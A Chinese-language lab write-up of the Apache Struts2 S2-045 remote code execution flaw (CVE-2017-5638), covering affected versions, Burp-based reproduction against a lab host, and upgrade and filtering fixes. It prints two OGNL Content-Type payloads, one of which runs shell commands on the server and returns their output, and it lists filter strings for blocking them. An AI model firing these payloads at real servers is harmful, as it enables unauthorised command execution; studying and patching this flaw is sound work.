Struts2 __ S2-045 Remote Code Execution Vulnerablity __ CVE-2017-5638

Struts2 __ S2-045 Remote Code Execution Vulnerablity __ CVE-2017-5638

说明	内容
漏洞编号	CVE-2017-5638
漏洞名称	S2-045 Remote Code Execution Vulnerablity
影响范围	Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
漏洞描述	pache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞， 攻击者可以在使用该插件上传文件时，修改HTTP请求头中的Content-Type值来触发该漏洞，导致远程执行代码。
修复方案	一、修复方式： 升级Apache Struts版本至 2.3.32 or 2.5.10.1以上。 二、修复建议：在网络防护设备上配置过滤包含如下： #nike=‘multipart/form-data’ 以及 #container=#context[‘com.opensymphony.xwork2.ActionContext.container’

1.漏洞描述

Apache官方发布Struts 2 紧急漏洞公告（S2-045），CVE编号CVE-2017-5638。公告中披露 ，当基于Jakarta插件上传文件时，可导致远程代码执行。例如在系统中获得管理员权限，执行添加用户。可任意查看、修改或删除文件。造成机密数据泄露，重要信息遭到篡改等重大危害。

2.影响版本

Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

3.漏洞复现

3.1基础环境

访问`http://10.9.75.198:8080`即可看到上传页面

3.2漏洞复现

使用burp抓包取数据包，然后Content-Type:更改为

Content-Type:
方法一
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
方法二
"%{(#xxx='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

成功显示

4.漏洞修复

一、修复方式： 升级Apache Struts版本至 2.3.32 or 2.5.10.1以上。

二、修复建议：在网络防护设备上配置过滤包含如下：

#nike='multipart/form-data'

以及

#container=#context['com.opensymphony.xwork2.ActionContext.container'

字段串（及相关字符转义形式）的URL请求。